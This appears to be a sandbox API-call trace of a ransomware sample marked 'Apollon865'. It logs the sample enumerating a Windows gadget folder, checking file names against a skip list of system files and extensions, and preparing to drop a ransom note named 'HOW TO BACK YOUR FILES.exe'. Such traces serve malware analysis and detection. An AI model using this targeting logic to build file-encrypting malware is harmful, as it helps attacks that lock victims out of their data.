	[0062.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d0c4ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0c4ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.034] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.034] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.034] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.034] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d0c4ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d0c4ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.034] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.034] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.034] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.034] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.034] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1
	[0062.034] lstrcmpiW (lpString1="bg-desk.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.034] lstrcmpiW (lpString1="bg-desk.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.034] lstrcmpiW (lpString1="bg-desk.png", lpString2=".") returned 1
	[0062.034] lstrcmpiW (lpString1="bg-desk.png", lpString2="..") returned 1
	[0062.034] lstrcmpiW (lpString1="bg-desk.png", lpString2="windows") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="bootmgr") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="temp") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="pagefile.sys") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="boot") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="ids.txt") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="ntuser.dat") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="perflogs") returned -1
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2="MSBuild") returned -1
	[0062.035] lstrlenW (lpString="bg-desk.png") returned 11
	[0062.035] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*") returned 65
	[0062.035] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bg-desk.png" | out: lpString1="bg-desk.png") returned="bg-desk.png"
	[0062.035] lstrlenW (lpString="bg-desk.png") returned 11
	[0062.035] lstrlenW (lpString="Apollon865") returned 10
	[0062.035] lstrcmpiW (lpString1="g-desk.png", lpString2="Apollon865") returned 1
	[0062.035] lstrlenW (lpString=".dll") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2=".dll") returned 1
	[0062.035] lstrlenW (lpString=".lnk") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2=".lnk") returned 1
	[0062.035] lstrlenW (lpString=".ini") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2=".ini") returned 1
	[0062.035] lstrlenW (lpString=".sys") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-desk.png", lpString2=".sys") returned 1
	[0062.035] lstrlenW (lpString="bg-desk.png") returned 11
	[0062.035] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bg-dock.png" | out: lpString1="bg-dock.png") returned="bg-dock.png"
	[0062.035] lstrlenW (lpString="bg-dock.png") returned 11
	[0062.035] lstrlenW (lpString="Apollon865") returned 10
	[0062.035] lstrcmpiW (lpString1="g-dock.png", lpString2="Apollon865") returned 1
	[0062.035] lstrlenW (lpString=".dll") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-dock.png", lpString2=".dll") returned 1
	[0062.035] lstrlenW (lpString=".lnk") returned 4
	[0062.035] lstrcmpiW (lpString1="bg-dock.png", lpString2=".lnk") returned 1
	[0062.035] lstrlenW (lpString=".ini") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-dock.png", lpString2=".ini") returned 1
	[0062.036] lstrlenW (lpString=".sys") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-dock.png", lpString2=".sys") returned 1
	[0062.036] lstrlenW (lpString="bg-dock.png") returned 11
	[0062.036] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bg-today.png" | out: lpString1="bg-today.png") returned="bg-today.png"
	[0062.036] lstrlenW (lpString="bg-today.png") returned 12
	[0062.036] lstrlenW (lpString="Apollon865") returned 10
	[0062.036] lstrcmpiW (lpString1="-today.png", lpString2="Apollon865") returned 1
	[0062.036] lstrlenW (lpString=".dll") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-today.png", lpString2=".dll") returned 1
	[0062.036] lstrlenW (lpString=".lnk") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-today.png", lpString2=".lnk") returned 1
	[0062.036] lstrlenW (lpString=".ini") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-today.png", lpString2=".ini") returned 1
	[0062.036] lstrlenW (lpString=".sys") returned 4
	[0062.036] lstrcmpiW (lpString1="bg-today.png", lpString2=".sys") returned 1
	[0062.036] lstrlenW (lpString="bg-today.png") returned 12
	[0062.036] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bNext-disable.png" | out: lpString1="bNext-disable.png") returned="bNext-disable.png"
	[0062.036] lstrlenW (lpString="bNext-disable.png") returned 17
	[0062.036] lstrlenW (lpString="Apollon865") returned 10
	[0062.036] lstrcmpiW (lpString1="isable.png", lpString2="Apollon865") returned 1
	[0062.036] lstrlenW (lpString=".dll") returned 4
	[0062.036] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".dll") returned 1
	[0062.036] lstrlenW (lpString=".lnk") returned 4
	[0062.036] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".lnk") returned 1
	[0062.036] lstrlenW (lpString=".ini") returned 4
	[0062.036] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".ini") returned 1
	[0062.036] lstrlenW (lpString=".sys") returned 4
	[0062.036] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".sys") returned 1
	[0062.036] lstrlenW (lpString="bNext-disable.png") returned 17
	[0062.037] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bNext-down.png" | out: lpString1="bNext-down.png") returned="bNext-down.png"
	[0062.037] lstrlenW (lpString="bNext-down.png") returned 14
	[0062.037] lstrlenW (lpString="Apollon865") returned 10
	[0062.037] lstrcmpiW (lpString1="t-down.png", lpString2="Apollon865") returned 1
	[0062.037] lstrlenW (lpString=".dll") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-down.png", lpString2=".dll") returned 1
	[0062.037] lstrlenW (lpString=".lnk") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-down.png", lpString2=".lnk") returned 1
	[0062.037] lstrlenW (lpString=".ini") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-down.png", lpString2=".ini") returned 1
	[0062.037] lstrlenW (lpString=".sys") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-down.png", lpString2=".sys") returned 1
	[0062.037] lstrlenW (lpString="bNext-down.png") returned 14
	[0062.037] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bNext-hot.png" | out: lpString1="bNext-hot.png") returned="bNext-hot.png"
	[0062.037] lstrlenW (lpString="bNext-hot.png") returned 13
	[0062.037] lstrlenW (lpString="Apollon865") returned 10
	[0062.037] lstrcmpiW (lpString1="xt-hot.png", lpString2="Apollon865") returned 1
	[0062.037] lstrlenW (lpString=".dll") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-hot.png", lpString2=".dll") returned 1
	[0062.037] lstrlenW (lpString=".lnk") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-hot.png", lpString2=".lnk") returned 1
	[0062.037] lstrlenW (lpString=".ini") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-hot.png", lpString2=".ini") returned 1
	[0062.037] lstrlenW (lpString=".sys") returned 4
	[0062.037] lstrcmpiW (lpString1="bNext-hot.png", lpString2=".sys") returned 1
	[0062.037] lstrlenW (lpString="bNext-hot.png") returned 13
	[0062.037] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bNext.png" | out: lpString1="bNext.png") returned="bNext.png"
	[0062.037] lstrlenW (lpString="bNext.png") returned 9
	[0062.038] lstrlenW (lpString="Apollon865") returned 10
	[0062.038] lstrlenW (lpString=".dll") returned 4
	[0062.038] lstrcmpiW (lpString1="bNext.png", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".lnk") returned 4
	[0062.038] lstrcmpiW (lpString1="bNext.png", lpString2=".lnk") returned 1
	[0062.038] lstrlenW (lpString=".ini") returned 4
	[0062.038] lstrcmpiW (lpString1="bNext.png", lpString2=".ini") returned 1
	[0062.038] lstrlenW (lpString=".sys") returned 4
	[0062.038] lstrcmpiW (lpString1="bNext.png", lpString2=".sys") returned 1
	[0062.038] lstrlenW (lpString="bNext.png") returned 9
	[0062.038] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bPrev-disable.png" | out: lpString1="bPrev-disable.png") returned="bPrev-disable.png"
	[0062.038] lstrlenW (lpString="bPrev-disable.png") returned 17
	[0062.038] lstrlenW (lpString="Apollon865") returned 10
	[0062.038] lstrcmpiW (lpString1="isable.png", lpString2="Apollon865") returned 1
	[0062.038] lstrlenW (lpString=".dll") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-disable.png", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".lnk") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-disable.png", lpString2=".lnk") returned 1
	[0062.038] lstrlenW (lpString=".ini") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-disable.png", lpString2=".ini") returned 1
	[0062.038] lstrlenW (lpString=".sys") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-disable.png", lpString2=".sys") returned 1
	[0062.038] lstrlenW (lpString="bPrev-disable.png") returned 17
	[0062.038] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bPrev-down.png" | out: lpString1="bPrev-down.png") returned="bPrev-down.png"
	[0062.038] lstrlenW (lpString="bPrev-down.png") returned 14
	[0062.038] lstrlenW (lpString="Apollon865") returned 10
	[0062.038] lstrcmpiW (lpString1="v-down.png", lpString2="Apollon865") returned 1
	[0062.038] lstrlenW (lpString=".dll") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-down.png", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".lnk") returned 4
	[0062.038] lstrcmpiW (lpString1="bPrev-down.png", lpString2=".lnk") returned 1
	[0062.039] lstrlenW (lpString=".ini") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-down.png", lpString2=".ini") returned 1
	[0062.039] lstrlenW (lpString=".sys") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-down.png", lpString2=".sys") returned 1
	[0062.039] lstrlenW (lpString="bPrev-down.png") returned 14
	[0062.039] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bPrev-hot.png" | out: lpString1="bPrev-hot.png") returned="bPrev-hot.png"
	[0062.039] lstrlenW (lpString="bPrev-hot.png") returned 13
	[0062.039] lstrlenW (lpString="Apollon865") returned 10
	[0062.039] lstrcmpiW (lpString1="ev-hot.png", lpString2="Apollon865") returned 1
	[0062.039] lstrlenW (lpString=".dll") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-hot.png", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".lnk") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-hot.png", lpString2=".lnk") returned 1
	[0062.039] lstrlenW (lpString=".ini") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-hot.png", lpString2=".ini") returned 1
	[0062.039] lstrlenW (lpString=".sys") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev-hot.png", lpString2=".sys") returned 1
	[0062.039] lstrlenW (lpString="bPrev-hot.png") returned 13
	[0062.039] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="bPrev.png" | out: lpString1="bPrev.png") returned="bPrev.png"
	[0062.039] lstrlenW (lpString="bPrev.png") returned 9
	[0062.039] lstrlenW (lpString="Apollon865") returned 10
	[0062.039] lstrlenW (lpString=".dll") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev.png", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".lnk") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev.png", lpString2=".lnk") returned 1
	[0062.039] lstrlenW (lpString=".ini") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev.png", lpString2=".ini") returned 1
	[0062.039] lstrlenW (lpString=".sys") returned 4
	[0062.039] lstrcmpiW (lpString1="bPrev.png", lpString2=".sys") returned 1
	[0062.039] lstrlenW (lpString="bPrev.png") returned 9
	[0062.040] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_double.png" | out: lpString1="calendar_double.png") returned="calendar_double.png"
	[0062.040] lstrlenW (lpString="calendar_double.png") returned 19
	[0062.040] lstrlenW (lpString="Apollon865") returned 10
	[0062.040] lstrcmpiW (lpString1="double.png", lpString2="Apollon865") returned 1
	[0062.040] lstrlenW (lpString=".dll") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double.png", lpString2=".dll") returned 1
	[0062.040] lstrlenW (lpString=".lnk") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double.png", lpString2=".lnk") returned 1
	[0062.040] lstrlenW (lpString=".ini") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double.png", lpString2=".ini") returned 1
	[0062.040] lstrlenW (lpString=".sys") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double.png", lpString2=".sys") returned 1
	[0062.040] lstrlenW (lpString="calendar_double.png") returned 19
	[0062.040] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_double_bkg.png" | out: lpString1="calendar_double_bkg.png") returned="calendar_double_bkg.png"
	[0062.040] lstrlenW (lpString="calendar_double_bkg.png") returned 23
	[0062.040] lstrlenW (lpString="Apollon865") returned 10
	[0062.040] lstrcmpiW (lpString1="le_bkg.png", lpString2="Apollon865") returned 1
	[0062.040] lstrlenW (lpString=".dll") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2=".dll") returned 1
	[0062.040] lstrlenW (lpString=".lnk") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2=".lnk") returned 1
	[0062.040] lstrlenW (lpString=".ini") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2=".ini") returned 1
	[0062.040] lstrlenW (lpString=".sys") returned 4
	[0062.040] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2=".sys") returned 1
	[0062.040] lstrlenW (lpString="calendar_double_bkg.png") returned 23
	[0062.040] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_double_orange.png" | out: lpString1="calendar_double_orange.png") returned="calendar_double_orange.png"
	[0062.040] lstrlenW (lpString="calendar_double_orange.png") returned 26
	[0062.041] lstrlenW (lpString="Apollon865") returned 10
	[0062.041] lstrcmpiW (lpString1="orange.png", lpString2="Apollon865") returned 1
	[0062.041] lstrlenW (lpString=".dll") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2=".dll") returned 1
	[0062.041] lstrlenW (lpString=".lnk") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2=".lnk") returned 1
	[0062.041] lstrlenW (lpString=".ini") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2=".ini") returned 1
	[0062.041] lstrlenW (lpString=".sys") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2=".sys") returned 1
	[0062.041] lstrlenW (lpString="calendar_double_orange.png") returned 26
	[0062.041] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_ring_docked.png" | out: lpString1="calendar_ring_docked.png") returned="calendar_ring_docked.png"
	[0062.041] lstrlenW (lpString="calendar_ring_docked.png") returned 24
	[0062.041] lstrlenW (lpString="Apollon865") returned 10
	[0062.041] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0062.041] lstrlenW (lpString=".dll") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2=".dll") returned 1
	[0062.041] lstrlenW (lpString=".lnk") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2=".lnk") returned 1
	[0062.041] lstrlenW (lpString=".ini") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2=".ini") returned 1
	[0062.041] lstrlenW (lpString=".sys") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2=".sys") returned 1
	[0062.041] lstrlenW (lpString="calendar_ring_docked.png") returned 24
	[0062.041] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_single.png" | out: lpString1="calendar_single.png") returned="calendar_single.png"
	[0062.041] lstrlenW (lpString="calendar_single.png") returned 19
	[0062.041] lstrlenW (lpString="Apollon865") returned 10
	[0062.041] lstrcmpiW (lpString1="single.png", lpString2="Apollon865") returned 1
	[0062.041] lstrlenW (lpString=".dll") returned 4
	[0062.041] lstrcmpiW (lpString1="calendar_single.png", lpString2=".dll") returned 1
	[0062.041] lstrlenW (lpString=".lnk") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single.png", lpString2=".lnk") returned 1
	[0062.042] lstrlenW (lpString=".ini") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single.png", lpString2=".ini") returned 1
	[0062.042] lstrlenW (lpString=".sys") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single.png", lpString2=".sys") returned 1
	[0062.042] lstrlenW (lpString="calendar_single.png") returned 19
	[0062.042] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_single_bkg.png" | out: lpString1="calendar_single_bkg.png") returned="calendar_single_bkg.png"
	[0062.042] lstrlenW (lpString="calendar_single_bkg.png") returned 23
	[0062.042] lstrlenW (lpString="Apollon865") returned 10
	[0062.042] lstrcmpiW (lpString1="le_bkg.png", lpString2="Apollon865") returned 1
	[0062.042] lstrlenW (lpString=".dll") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2=".dll") returned 1
	[0062.042] lstrlenW (lpString=".lnk") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2=".lnk") returned 1
	[0062.042] lstrlenW (lpString=".ini") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2=".ini") returned 1
	[0062.042] lstrlenW (lpString=".sys") returned 4
	[0062.042] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2=".sys") returned 1
	[0062.042] lstrlenW (lpString="calendar_single_bkg.png") returned 23
	[0062.042] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_single_bkg_orange.png" | out: lpString1="calendar_single_bkg_orange.png") returned="calendar_single_bkg_orange.png"
	[0062.042] lstrlenW (lpString="calendar_single_bkg_orange.png") returned 30
	[0062.042] lstrlenW (lpString="Apollon865") returned 10
	[0062.043] lstrcmpiW (lpString1="orange.png", lpString2="Apollon865") returned 1
	[0062.043] lstrlenW (lpString=".dll") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2=".dll") returned 1
	[0062.043] lstrlenW (lpString=".lnk") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2=".lnk") returned 1
	[0062.043] lstrlenW (lpString=".ini") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2=".ini") returned 1
	[0062.043] lstrlenW (lpString=".sys") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2=".sys") returned 1
	[0062.043] lstrlenW (lpString="calendar_single_bkg_orange.png") returned 30
	[0062.043] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="calendar_single_orange.png" | out: lpString1="calendar_single_orange.png") returned="calendar_single_orange.png"
	[0062.043] lstrlenW (lpString="calendar_single_orange.png") returned 26
	[0062.043] lstrlenW (lpString="Apollon865") returned 10
	[0062.043] lstrcmpiW (lpString1="orange.png", lpString2="Apollon865") returned 1
	[0062.043] lstrlenW (lpString=".dll") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2=".dll") returned 1
	[0062.043] lstrlenW (lpString=".lnk") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2=".lnk") returned 1
	[0062.043] lstrlenW (lpString=".ini") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2=".ini") returned 1
	[0062.043] lstrlenW (lpString=".sys") returned 4
	[0062.043] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2=".sys") returned 1
	[0062.043] lstrlenW (lpString="calendar_single_orange.png") returned 26
	[0062.043] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="corner.png" | out: lpString1="corner.png") returned="corner.png"
	[0062.043] lstrlenW (lpString="corner.png") returned 10
	[0062.043] lstrlenW (lpString="Apollon865") returned 10
	[0062.043] lstrlenW (lpString=".dll") returned 4
	[0062.043] lstrcmpiW (lpString1="corner.png", lpString2=".dll") returned 1
	[0062.043] lstrlenW (lpString=".lnk") returned 4
	[0062.043] lstrcmpiW (lpString1="corner.png", lpString2=".lnk") returned 1
	[0062.044] lstrlenW (lpString=".ini") returned 4
	[0062.044] lstrcmpiW (lpString1="corner.png", lpString2=".ini") returned 1
	[0062.044] lstrlenW (lpString=".sys") returned 4
	[0062.044] lstrcmpiW (lpString1="corner.png", lpString2=".sys") returned 1
	[0062.044] lstrlenW (lpString="corner.png") returned 10
	[0062.044] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="curl-hot.png" | out: lpString1="curl-hot.png") returned="curl-hot.png"
	[0062.044] lstrlenW (lpString="curl-hot.png") returned 12
	[0062.044] lstrlenW (lpString="Apollon865") returned 10
	[0062.044] lstrcmpiW (lpString1="rl-hot.png", lpString2="Apollon865") returned 1
	[0062.044] lstrlenW (lpString=".dll") returned 4
	[0062.044] lstrcmpiW (lpString1="curl-hot.png", lpString2=".dll") returned 1
	[0062.044] lstrlenW (lpString=".lnk") returned 4
	[0062.044] lstrcmpiW (lpString1="curl-hot.png", lpString2=".lnk") returned 1
	[0062.044] lstrlenW (lpString=".ini") returned 4
	[0062.044] lstrcmpiW (lpString1="curl-hot.png", lpString2=".ini") returned 1
	[0062.044] lstrlenW (lpString=".sys") returned 4
	[0062.044] lstrcmpiW (lpString1="curl-hot.png", lpString2=".sys") returned 1
	[0062.044] lstrlenW (lpString="curl-hot.png") returned 12
	[0062.044] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="curl.png" | out: lpString1="curl.png") returned="curl.png"
	[0062.044] lstrlenW (lpString="curl.png") returned 8
	[0062.044] lstrlenW (lpString="Apollon865") returned 10
	[0062.044] lstrlenW (lpString=".dll") returned 4
	[0062.044] lstrcmpiW (lpString1="curl.png", lpString2=".dll") returned 1
	[0062.044] lstrlenW (lpString=".lnk") returned 4
	[0062.044] lstrcmpiW (lpString1="curl.png", lpString2=".lnk") returned 1
	[0062.044] lstrlenW (lpString=".ini") returned 4
	[0062.044] lstrcmpiW (lpString1="curl.png", lpString2=".ini") returned 1
	[0062.044] lstrlenW (lpString=".sys") returned 4
	[0062.044] lstrcmpiW (lpString1="curl.png", lpString2=".sys") returned 1
	[0062.044] lstrlenW (lpString="curl.png") returned 8
	[0062.045] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="month.png" | out: lpString1="month.png") returned="month.png"
	[0062.045] lstrlenW (lpString="month.png") returned 9
	[0062.045] lstrlenW (lpString="Apollon865") returned 10
	[0062.045] lstrlenW (lpString=".dll") returned 4
	[0062.045] lstrcmpiW (lpString1="month.png", lpString2=".dll") returned 1
	[0062.045] lstrlenW (lpString=".lnk") returned 4
	[0062.045] lstrcmpiW (lpString1="month.png", lpString2=".lnk") returned 1
	[0062.045] lstrlenW (lpString=".ini") returned 4
	[0062.045] lstrcmpiW (lpString1="month.png", lpString2=".ini") returned 1
	[0062.045] lstrlenW (lpString=".sys") returned 4
	[0062.045] lstrcmpiW (lpString1="month.png", lpString2=".sys") returned 1
	[0062.045] lstrlenW (lpString="month.png") returned 9
	[0062.045] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rings-desk.png" | out: lpString1="rings-desk.png") returned="rings-desk.png"
	[0062.045] lstrlenW (lpString="rings-desk.png") returned 14
	[0062.045] lstrlenW (lpString="Apollon865") returned 10
	[0062.045] lstrcmpiW (lpString1="s-desk.png", lpString2="Apollon865") returned 1
	[0062.045] lstrlenW (lpString=".dll") returned 4
	[0062.045] lstrcmpiW (lpString1="rings-desk.png", lpString2=".dll") returned 1
	[0062.045] lstrlenW (lpString=".lnk") returned 4
	[0062.045] lstrcmpiW (lpString1="rings-desk.png", lpString2=".lnk") returned 1
	[0062.045] lstrlenW (lpString=".ini") returned 4
	[0062.045] lstrcmpiW (lpString1="rings-desk.png", lpString2=".ini") returned 1
	[0062.045] lstrlenW (lpString=".sys") returned 4
	[0062.045] lstrcmpiW (lpString1="rings-desk.png", lpString2=".sys") returned 1
	[0062.045] lstrlenW (lpString="rings-desk.png") returned 14
	[0062.045] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rings-dock.png" | out: lpString1="rings-dock.png") returned="rings-dock.png"
	[0062.045] lstrlenW (lpString="rings-dock.png") returned 14
	[0062.045] lstrlenW (lpString="Apollon865") returned 10
	[0062.045] lstrcmpiW (lpString1="s-dock.png", lpString2="Apollon865") returned 1
	[0062.046] lstrlenW (lpString=".dll") returned 4
	[0062.046] lstrcmpiW (lpString1="rings-dock.png", lpString2=".dll") returned 1
	[0062.046] lstrlenW (lpString=".lnk") returned 4
	[0062.046] lstrcmpiW (lpString1="rings-dock.png", lpString2=".lnk") returned 1
	[0062.046] lstrlenW (lpString=".ini") returned 4
	[0062.046] lstrcmpiW (lpString1="rings-dock.png", lpString2=".ini") returned 1
	[0062.046] lstrlenW (lpString=".sys") returned 4
	[0062.046] lstrcmpiW (lpString1="rings-dock.png", lpString2=".sys") returned 1
	[0062.046] lstrlenW (lpString="rings-dock.png") returned 14
	[0062.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US"
	[0062.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0062.046] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 62
	[0062.046] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US"
	[0062.046] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
